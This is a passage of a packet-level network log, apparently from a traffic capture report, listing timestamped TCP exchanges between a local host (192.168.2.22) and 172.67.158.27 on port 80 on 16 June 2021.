Jun 16, 2021 12:06:12.605866909 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.605894089 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.605906010 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.605921030 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.605947971 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.605961084 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.605976105 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.606004953 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.606030941 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.606651068 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.606678009 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.606702089 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.606705904 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.606724977 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.606736898 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.606750011 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.606771946 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.606786966 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.606796026 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.606817007 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.606832027 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.606839895 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.606862068 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.606874943 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.606884956 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.606919050 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.607600927 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.607631922 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.607660055 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.607671022 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.607705116 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.607744932 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.612720966 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.613024950 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.668802977 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.668829918 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.668863058 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.668883085 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.668911934 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.668925047 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.668929100 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.668957949 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.668962955 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.668971062 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.668984890 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.669009924 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.669034958 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.669042110 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.669059038 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.669084072 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.669090986 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.669109106 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.669132948 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.669133902 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.669157982 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.669174910 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.669183016 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.669208050 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.669225931 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.669231892 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.669272900 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.669938087 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.669958115 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.669981956 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.670000076 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.670026064 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.670028925 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.670041084 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.670048952 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.670078993 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.670093060 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.670106888 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.670130968 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.670150042 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.670161009 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.670181990 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.670201063 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.670701981 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.670893908 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.670913935 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.670931101 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.670938969 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.670953035 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.670962095 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.670984983 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.671004057 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.671008110 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.671029091 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.671046019 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.671052933 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.671073914 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.671094894 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.671385050 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.671402931 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.671446085 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.671844006 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.671911955 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.671996117 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.672013998 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.672029018 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.672054052 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.672070026 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.672091961 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.672092915 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.672108889 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.672131062 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.672137022 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.672149897 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.672152042 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.672168970 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.672172070 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.672214031 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.672775030 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.672820091 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.672838926 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.672868013 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.672884941 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.672890902 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.672914028 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.672930956 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.672935009 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.672957897 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.672976971 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.672980070 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.673001051 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.673017979 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.673019886 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.673043013 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.673057079 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.673173904 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.673779964 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.673800945 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.673835039 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.673846006 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.673867941 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.673902035 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.673919916 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.673922062 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.673949003 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.673960924 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.673971891 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.673993111 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.674012899 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.674021959 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.674034119 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.674052954 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.674757957 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.674788952 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.674807072 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.674808025 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.674834013 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.674846888 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.674859047 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.674884081 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.674900055 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.674909115 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.674936056 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.674947977 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.674963951 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.674988985 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.675009012 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.675014019 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.675049067 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.675688982 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.675714016 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.675735950 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.675756931 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.675775051 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.675791025 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.676040888 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.676076889 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.676096916 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.676119089 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.676126003 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.676140070 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.676160097 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.676162004 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.676184893 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.676198006 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.676204920 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.676225901 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.676244020 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.676246881 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.676268101 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.676284075 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.676991940 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.677022934 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.677041054 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.677045107 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.677064896 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.677088022 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.677088976 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.677110910 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.677129030 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.677134037 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.677151918 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.677170038 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.677175045 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.677196026 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.677210093 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.677217007 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.677257061 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.677953959 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.677989960 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.678011894 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.678030968 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.678030968 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.678052902 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.678069115 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.678075075 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.678091049 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.678117990 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.678119898 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.678141117 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.678160906 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.678162098 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.678184032 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.678203106 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.678930998 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.678955078 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.678977013 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.678997040 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.678997993 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.679016113 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.679019928 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.679042101 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.679058075 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.679064035 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.679084063 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.679105997 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.679105997 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.679142952 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.679148912 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.679167986 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.679215908 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.679908037 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.679932117 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.679953098 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.679974079 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.679984093 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.680005074 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.712953091 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.713025093 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.713078976 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.713097095 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.713134050 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.713176966 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.713188887 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.713246107 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.713290930 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.713299036 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.713352919 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.713392973 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.713406086 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.713458061 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.713496923 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.713509083 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.713561058 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.713601112 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.713610888 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.713663101 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.713705063 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.713712931 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.713764906 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.713807106 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.713820934 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.713876963 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.713918924 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.713928938 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.713982105 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.714041948 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.714050055 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.714106083 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.714148045 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.714160919 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.714215994 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.714262009 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.714270115 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.714324951 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.714369059 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.714375973 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.714428902 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.714473963 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.714478970 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.714835882 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.714884996 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.714888096 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.714951992 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.714993000 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.714998007 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.715043068 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.715082884 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.715086937 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.715153933 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.715198994 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.715205908 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.715244055 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.715282917 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.715289116 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.715329885 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.715369940 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.744358063 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.744436026 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.744487047 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.744512081 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.744535923 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.744585037 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.744589090 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.744640112 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.744690895 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.744699001 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.744743109 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.744792938 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.744801044 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.744843006 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.744890928 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.744908094 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.744954109 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.745012999 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.745018005 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.745063066 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.745110989 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.745120049 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.745160103 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.745208025 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.745213985 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.745256901 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.745306015 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.745322943 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.745362997 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.745429039 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.745433092 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.745497942 CEST	80	49169	172.67.158.27	192.168.2.22
